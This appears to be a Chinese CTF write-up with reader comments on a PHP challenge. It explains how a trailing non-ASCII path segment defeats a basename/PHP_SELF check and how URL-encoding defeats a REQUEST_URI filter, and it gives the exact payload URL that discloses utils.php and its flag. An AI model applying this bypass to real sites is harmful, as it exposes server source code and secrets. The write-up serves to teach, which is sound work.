<?php
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
$_SERVER['PHP_SELF']是调用的脚本的路径=>
$_SERVER['REQUEST_URI']的作用是取得当前URI,也就是除域名外后面的完整的地址路径
如 http:xxx/index.php/flag.php?exp=ctf
$_SERVER['PHP_SELF']=index.php/flag.php $_SERVER['REQUEST_URI']=index.php/flag.php?exp=ctf
basename()会删除文件名开头的非 ASCII 字符和中文,用中文字符进行绕过绕过第一个正则
/index.php/utils.php/文件
用url编码绕过第二个
index.php/utils.php/文件?%73%68%6f%77%5f%73%6f%75%72%63%65=1
大佬为什么用url编码可以绕过第二个呀?
wly 05-29
因为$_SERVER['REQUEST_URI']是不会对url解码的,而$_GET会进行一次解码,解析上有差异,二个获取到的结果不同,所以可以绕过。
CHHHCHHOH 05-30 回复 @wly